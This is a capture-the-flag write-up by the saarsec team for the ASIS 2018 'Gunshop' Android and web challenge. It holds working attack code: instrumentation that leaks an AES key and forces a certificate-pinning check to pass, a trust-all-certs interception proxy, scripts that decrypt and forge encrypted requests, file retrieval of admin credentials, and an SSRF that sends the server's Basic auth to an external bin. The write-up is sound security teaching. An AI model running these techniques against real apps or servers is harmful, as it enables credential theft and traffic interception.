Saarsec

saarsec

Schwenk and pwn

ASIS 2018 Finals WriteUp Gunshop

ASIS 2018 Finals: Gunshop

The ASIS 2018 Finals had some awesome challenges. One of them is the Android reversing and web challenge Gunshop. I enjoyed the mix between Android reversing and web vulnerabilities. Also, it was a lot of fun to use ARTist, an open-source Andorid instrumentation framework, for the first time in a CTF Challenge. The instrumentation performed by ARTist allowed us to leak the AES key, intercept https traffic and bypass custom certificate pinning.

Gunshop 1

Assets

The APK contained two suspicious files in the assets folder, configKey and configURL. Both contained some encrypted data as base64 encoded string. By analyzing the APK in the jadx-gui decompiler, we see that the assets are encrpted using AES/ECB/PKCS5Padding and the key is derived using a SHA-256 hash:

    public static String a(Context context) {
        return a(context, "android.gunshop.com.gunshop");
    }

    public static String a(Context context, String str) {
        if (str == null) {
            return null;
        }
        try {
            PackageInfo packageInfo = context.getPackageManager().getPackageInfo(str, 64);
            if (packageInfo.signatures.length != 1) {
                return null;
            }
            return b(MessageDigest.getInstance("SHA-256").digest(packageInfo.signatures[0].toByteArray())).substring(0, 16);
        } catch (NameNotFoundException e) {
            return null;
        } catch (NoSuchAlgorithmException e2) {
            return null;
        }
    }
    
    public static String a(String str, Key key) {
        Cipher instance = Cipher.getInstance("AES/ECB/PKCS5Padding");
        instance.init(1, key);
        return Base64.encodeToString(instance.doFinal(str.getBytes("UTF-8")), 2);
    }

Obtaining the Encryption Key

At this point, I decided to not compute the AES key statically, but to instrument the application dynamically. For this purpose I used the ARTist, the Android RunTime Instrumentation and Security Toolkit. ARTist modules alter the application logic by modifying the App’s intermediate representation before the native code is generated during the compilation on the Android device. For more detailed information about ARTist, check out the project website or the BlackHat slides. The Gitter chat is the right place to ask questions.

The full source code of the ARTist module written for this challenge is available on Github.

Back to the challenge: To obtain the key dynamically, we implemented an ARTist module which extends the method public static String a(Context context) in a way that it will also print the generated key. First, we implemented a logging method, which is part of the CodeLib, an ARTist module’s apk containing additional helper methods:

    @Inject
    public void log(String s){
        Log.w("ASIS-codelib-log", s);
    }

To add this method into the application, we have to create an Instrumentation Pass defining how the method should be modified. The relevant part is the following:

if (instr->IsInvoke()) {
    auto ins = instr->AsInvoke(); // **ins** contains the current instruction cursor
    if (ArtUtils::GetMethodName(ins, true).find("android.gunshop.com.gunshop.m.a(android.content.Context, java.lang.String)") != string::npos) {
        /*
         * If the invoke instruction calls the key-generation method:
         * we add a call to a CodeLib method that logs the key to logcat afterwards
         */
        // Create an instance of the codelib class:
        auto codelib_instruction = GetCodeLibInstruction();
        // The parameters are the codelib instance and the return value of **ins** (the encryption key):
        vector<art::HInstruction *> params = {codelib_instruction, ins};
        // Signature of our codelib method:
        string invoked_signature = GunshopCodeLib::LOG;
        // Create an invoke to our codelib method:
        auto invoke_codelib_method = new (allocator) art::HInvokeVirtual(allocator,
                                                               static_cast<uint32_t>(params.size()), art::Primitive::kPrimVoid, 0,
                                                               symbols->getMethodIdx(
                                                                       invoked_signature),
                                                               (uint32_t) env->getMethodVtableIdx(
                                                                       invoked_signature));
        // Set the params:
        ArtUtils::SetupInstructionArguments(invoke_codelib_method, params);
        // Inserts the instruction after the one invoking the key generation method
        block->InsertInstructionAfter(invoke_codelib_method, ins);
    }
}

Setting-up https Traffic Interception with ARTist

In another part of the application’s code, an https connection is used:

    public static Bitmap c(String str) {
        String str2 = "";
        HttpsURLConnection httpsURLConnection = (HttpsURLConnection) new URL(str).openConnection();
        httpsURLConnection.setSSLSocketFactory(SSLCertificateSocketFactory.getInsecure(0, null));
        httpsURLConnection.setHostnameVerifier(new AllowAllHostnameVerifier());
        httpsURLConnection.setRequestMethod("GET");
        httpsURLConnection.connect();
        if (a(httpsURLConnection, a)) {
            return BitmapFactory.decodeStream(httpsURLConnection.getInputStream());
        }
        throw new Exception("SSL Pin Error");
    }

First, we want to replace the call to URL.openConnection() with a CodeLib method that opens a new connection too, but without certificate checks and with a proxy set up as man-in-the-middle:

    @Inject
    public URLConnection openConnection(URL obj){
        try {
            Log.i("ASIS-codelib", "opening connection to:" + obj.toString());
            URLConnection c = obj.openConnection(getProxy());
            if (c instanceof HttpsURLConnection){
                try {
                    SSLContext sc = SSLContext.getInstance("SSL");
                    sc.init(null, trustAllCerts, new java.security.SecureRandom());
                    ((HttpsURLConnection) c).setSSLSocketFactory(sc.getSocketFactory());
                } catch (Exception e) {
                }
            }
            return c;
        } catch (IOException e) {
            e.printStackTrace();
        }
        return null;
    }
    
    private static Proxy proxy;

    private static Thread resolveProxy =
        new Thread() {
            @Override
            public void run() {
                proxy = new Proxy(Proxy.Type.HTTP, new InetSocketAddress("proxy", 8080));
            }
        };

    private Proxy getProxy(){
        while (proxy == null) {
            resolveProxy.start();
            try {
                resolveProxy.join();
            } catch (InterruptedException e) {
                e.printStackTrace();
            }
        }
        return proxy;
    }

To replace the call to URL.openConnection with an own implementation, the instrumentation pass has to be extended again:

if (instr->IsInvokeVirtual()){
    auto ins = instr->AsInvokeVirtual();
    if (ArtUtils::GetMethodName(ins) == "java.net.URL.openConnection") {
        /*
         * Every invoke to java.net.URL.openConnection is replaced with an invoke to
         * our CodeLib.openConnection that sets up the proxy and disables certificate checks.
         * 
         * Works similar to the first example
         */
        auto codelib_instruction = GetCodeLibInstruction();
        // Now we want the input to be the input of the original openConnection()-Invoke:
        vector<art::HInstruction *> params = {codelib_instruction, ins->InputAt(0)};
        string invoked_signature = GunshopCodeLib::OPENCONNECTION;
        auto replacement = new (allocator) art::HInvokeVirtual(allocator,
                                                               static_cast<uint32_t>(params.size()), art::Primitive::kPrimNot, 0,
                                                               symbols->getMethodIdx(
                                                                                invoked_signature),
                                                               (uint32_t) env->getMethodVtableIdx(
                                                                                invoked_signature));
        ArtUtils::SetupInstructionArguments(replacement, params);
        // We do not keep the openConnection()-Invoke, but replace it with our own:
        block->ReplaceAndRemoveInstructionWith(ins, replacement);
    }
}

Instrumenting the application with the current implementation of the module would leak the key, but would not allow intercepting the traffic. For each request, the Exception SSL Pin Error would be thrown because the App implements a custom certificate pinning:

    public static boolean a(HttpsURLConnection httpsURLConnection, Set set) {
        try {
            Certificate[] serverCertificates = httpsURLConnection.getServerCertificates();
            MessageDigest instance = MessageDigest.getInstance("SHA-256");
            for (Certificate certificate : serverCertificates) {
                byte[] encoded = ((X509Certificate) certificate).getPublicKey().getEncoded();
                instance.update(encoded, 0, encoded.length);
                byte[] digest = instance.digest();
                StringBuffer stringBuffer = new StringBuffer();
                for (int i = 0; i < digest.length; i++) {
                    stringBuffer.append(((digest[i] & 255) < 16 ? "0" : "") + Integer.toHexString(digest[i] & 255));
                }
                if (set.contains(stringBuffer.toString())) {
                    return true;
                }
            }
            return false;
        } catch (Exception e) {
            e.printStackTrace();
            return false;
        }
    }

The easiest way is to replace all possible return values with true. This requires no additional CodeLib methods and only a few lines of C++ for the instrumentation pass:

if (instr->IsReturn()){
    // All return instructions
    auto ins = instr->AsReturn();
    if (_method_info.GetMethodName(true).find("boolean android.gunshop.com.gunshop.m.a(javax.net.ssl.HttpsURLConnection, java.util.Set)") != string::npos){
        /*
         * To disable the manual certificate pinning, the value of every return statement in this method is set to true
         */
        // create a new boolean variable:
        auto replacement = graph_->GetConstant(art::Primitive::kPrimBoolean, 1,0);
        // set the new variable used for the return value:
        ins->SetRawInputAt(0,replacement);
    }
}

Now, the ARTist module is finally completed and we can transfer it to the Android device and let ARTist GUI recompile the Gunshop App with the modifications. Opening Burp, we can now intercept and modify the App’s https traffic. Also, the App greets us in the logcat with the encryption key for the assets:

ASIS-codelib-log: E4555D32B56E3D90

Decrypting the assets

Now, that the constant encryption key is known, we can build a python script to decrypt the assets:

from Crypto.Cipher import AES
from base64 import b64decode, b64encode
import urllib
from binascii import unhexlify

key = "E4555D32B56E3D90"
configkey =  open("GunShop/assets/configKey").read()
url = open("GunShop/assets/configUrl").read()

print AES.new(key, mode=AES.MODE_ECB).decrypt(b64decode(url))
# https://darkbloodygunshop.asisctf.com
print AES.new(key, mode=AES.MODE_ECB).decrypt(b64decode(configkey))
# 123456789as23456

Both, the URL and the key, are later important for the traffic interception.

Login as admin

After starting the app, there is only a login screen visible. As there are no credentials provided and there were no credentials in the application’s code, we try logging in with a random user name and password. After a failed login attempt, a toast message pops up: username not found in public/users_gunshop_admins.csv. It seems there is a csv file on the remote server, which contains the credentials of all admin accounts. Luckily, there is following method in the Application’s code which gives a hint on an remote endpoint that could be used to obtain files:

    protected Bitmap a(String... strArr) {
        Bitmap bitmap = null;
        try {
            return m.c(MainActivity.a + "/getFile?filename=" + strArr[0]);
        } catch (Exception e) {
            Log.e("Error", e.getMessage());
            e.printStackTrace();
            return bitmap;
        }
    }

As expected, we can use the decrypted url and the path from the error message to retrieve a csv file with admin credentials:

$ curl -k https://darkbloodygunshop.asisctf.com/getFile?filename=users_gunshop_admins.csv
alfredo,YhFyP$d*epmj9PUz

Traffic interception

Since the ARTist instrumentation allows to intercept the traffic, we intercepted the traffic during the login with the admin credentials. Although we can see the plain https traffic, we don’t see our credentials in the request yet:

POST /startSession HTTP/1.1
Cookie: session=88e162b8-e777-4601-b8fc-05d9f8b729e8
Content-Type: application/x-www-form-urlencoded
User-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1.2; Moto G5 Build/NJH47F)
Host: darkbloodygunshop.asisctf.com
Connection: close
Accept-Encoding: gzip, deflate
Content-Length: 146

user_data=0JjOmMth2l%2Bn%2BXmw3RlvcHzfA2HZbR58OvVHc4V7GcJ6LMonOfw8PBIuMrzE2zNGlsMtJTqnXEUOiTiCMQ3545VdDMMb%2BdoKZfLXbowRlSmdu%2BFuMofTA5nM49RKMRrr

It seems that the user_data is encrypted itself too. Since there is a configKey in the assets folder, we tried decrypting the user_data with this configKey:

from Crypto.Cipher import AES
from base64 import b64decode, b64encode
import urllib
from binascii import unhexlify

configkey="123456789as23456"

def decrypt(data, k=configkey):
    data = urllib.unquote(data).decode('utf8')
    d = AES.new(k, mode=AES.MODE_ECB).decrypt(b64decode(data))
    return d


def encrypt(data, k=configkey):
    d = AES.new(k, mode=AES.MODE_ECB).encrypt(data)
    return urllib.quote(b64encode(d)).encode('utf8')

print repr(decrypt("0JjOmMth2l%2Bn%2BXmw3RlvcHzfA2HZbR58OvVHc4V7GcJ6LMonOfw8PBIuMrzE2zNGlsMtJTqnXEUOiTiCMQ3545VdDMMb%2BdoKZfLXbowRlSmdu%2BFuMofTA5nM49RKMRrr"))
# '{"username":"alfredo","password":"YhFyP$d*epmj9PUz","device-id":"88e7b280b1f2fe56"}\r\r\r\r\r\r\r\r\r\r\r\r\r'

The decryption seemed to work. Decrypting the response body with the same key, reveals a json object:

{"key": "bc0f6215ea7c8f512a03acffb20d1d54", "deviceId": "88e7b280b1f2fe56", "flag1": "ASIS{d0Nt_KI11_M3_G4NgsteR}", "list": [{"pic": "1.jpg", "id": "GN12-34", "name": "Tiny Killer", "description": "Excellent choise for silent killers."}, {"pic": "2.jpg", "id": "GN12-301", "name": "Gru Gun", "description": "A magic underground weapon."}, {"pic": "3.png", "id": "GN12-1F52B", "name": "U+1F52B", "description": "Powerfull electronic gun. Usefull in chat rooms and twitter."}, {"pic": "4.jpeg", "id": "GN12-1", "name": "HV-Penetrator", "description": "The Gun of future."}, {"pic": "5.jpg", "id": "GN12-90", "name": "Riffle", "description": "Protect your self with me."}, {"pic": "6.png", "id": "GN12-21", "name": "Gun Shop Subscription", "description": "Subscription 1 month to gun shop."}, {"pic": "7.png", "id": "GN12-1002", "name": "GunSet", "description": "A Set of weapons, useful for assassins."}]}

Besides an interesting new key and some shop data, it also gives us the first flag ASIS{d0Nt_KI11_M3_G4NgsteR}!

Gunshop 2

There we are, logged in as admin alfredo, seeing a list of weapons in the Gunshop. Let’s select the Tiny Killer. After confirming the choice, a request is sent to the server. The request contains, once again, an encrypted parameter, and the repsonse an encrypted body. Decrypting with the new key from the login-response reveals:

user_data = enc('{"gunId":"GN12-34"}\r\r\r\r\r\r\r\r\r\r\r\r\r')
response = enc('{"shop": {"name": "City Center Shop", "url": "http://188.166.76.14:42151/DBdwGcbFDApx93J3"}}\x04\x04\x04\x04')

As the challenge description says Login to the City Center Shop. A weapon is there, waiting for a worthy warrior to take it!, we seem to be close to the goal. Sadly, accessing the URL via a GET request gives us a Method not allowed and an empty response via POST. It seems we are not yet authorized to access this url. But in the App, a submit button is shown on the current order page. After hitting the button, a new encrypted request is sent to the server:

user_data = enc('{"shop":"http:\\/\\/188.166.76.14:42151\\/DBdwGcbFDApx93J3"}\x07\x07\x07\x07\x07\x07\x07')
response = enc('{"result": "Your request submitted and will be ready as soon as possible. Thanks for shopping. Happy killing."}\x01')

Sending an url to the server looks like a possible SSRF vulnerablility. To check for SSRF, we logged in and hit the submit button again, but replaced the user_data with the encryption of a postb.in url:

user_data = '{"shop":"http:\\/\\/postb.in\\/1UkMSfLU?aaaaaaaaaaaaaaaaaa"}\x07\x07\x07\x07\x07\x07\x07'
response = enc('{"result": "Your request submitted and will be ready as soon as possible. Thanks for shopping. Happy killing."}\x01')

The server returns the same string, but we can observe a request to our postb.in:

{"method":"GET","path":"/1UkMSfLU","headers":{"host":"postb-in.herokuapp.com","connection":"close","user-agent":"python-requests/2.20.1","accept":"*/*","accept-encoding":"gzip, deflate","authorization":"Basic YmlnYnJvdGhlcjo0UWozcmM0WmhOUUt2N1J6","fly-request-id":"bKRS9A62ePHBGiTnVRtmA8hJu4","fly-app":"postbin-proxy","connect-time":"1","total-route-time":"0"},"query":{"aaaaaaaaaaaaaaaaaa":""},"body":{},"ip":"188.166.76.14","binId":"1UkMSfLU","inserted":1543275315841,"reqId":"dzgnx61P"}

By decoding the authorization header, we get: bigbrother:4Qj3rc4ZhNQKv7Rz.
Let’s use these credentials to post to the shop url:

import requests
print requests.post("http://188.166.76.14:42151/DBdwGcbFDApx93J3", auth=('bigbrother','4Qj3rc4ZhNQKv7Rz')).text
# ASIS{0Ld_B16_br0Th3r_H4d_a_F4rm}

This gives us the second flag for Gunshop: ASIS{0Ld_B16_br0Th3r_H4d_a_F4rm}